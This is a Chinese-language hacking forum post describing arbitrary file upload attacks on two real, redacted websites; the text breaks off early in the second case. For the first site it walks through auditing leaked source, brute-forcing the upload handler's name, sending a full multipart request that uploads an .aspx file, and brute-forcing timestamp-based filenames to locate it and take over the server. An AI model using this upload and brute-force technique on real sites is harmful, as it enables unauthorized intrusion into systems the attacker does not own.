標題:一次運氣很好的文件上傳

taibeihacker

Moderator

0x01 站点1:文件上传​

发现源代码泄露​

打開自己珍藏已久的辣雞字典,掃描發現存在bin.zip信息洩露,嘗試進行代碼審計
文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload
找到ProccessRequest接收請求,可以看到獲取了一堆參數後(初始化),後進入了HandleFiles方法,
1049983-20220112165429938-391093503.png

跟進HandleFiles進行處理,如果dateType=ZBJHSB時,就繼續處理請求,dateType為GET傳參
1049983-20220112165430473-721730897.png

路徑為/Uploads/SetData/ZBJHSB,str名稱為時間戳,且str2(後綴)沒有進行限制就進行保存,
1049983-20220112165431033-1357731238.png

OK,這應該是一個妥妥的任意文件上傳了,只要有返回值,那麼這個站就沒了。但是很不湊巧的是,他沒有返回值。
由於方法fileUpload,瞎猜文件名為
fileUpload.aspx
fileUpload.ashx
fileUpload.asmx
fileUploads.aspx
fileUploads.asmx
fileUploads.ashx
Upload.等加上自己現有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx
直接構造上傳表單,這裡Form裡的name字段應該是沒有具體設置的(代碼裡沒有找到),發包後返回200,可能真的傳上去了吧?
POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1
Host: xxx.cn:6039
Content-Length: 195
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8
Accept: */*
Connection: close
------WebKitFormBoundarySVkAJfiOUeRxhsu8
Content-Disposition: form-data; name='File'; filename='1.aspx'
Content-Type: image/jpeg
11111111111
------WebKitFormBoundarySVkAJfiOUeRxhsu8--
1049983-20220112165431515-1789961850.png

之前我們看到使用的格式為yyyyMMddHHmmssfff作為文件名,然後直接截取後綴作為ext,而且我們有了具體的路徑,那麼只需要爆破時間戳文件名即可拿下該站點,以前還沒有這麼做過,不妨試試。

爆破时间戳​

使用Powershell生成時間戳,然後此時在Burp按下go發送請求包
powershell -c Get-Date -Format yyyyMMddHHmmssfff
1049983-20220112165431864-1587439663.png

再爆破後面5位數字,也就是ssfff(由於電腦上的時間不一定準,有時候甚至可能要爆破6位)
不知道等了多久
1049983-20220112165432292-192552.png

運氣真好,後面的就不多說了。

0x02 站点2:文件上传​

找到上传接口​

打開網站http://xxxx:880/zwwpt/#/就發現存在一個webpackdebug模式未關閉,查看JS發現上傳接口
1049983-20220112165432739-1752971649.png

http://
 
返回
上方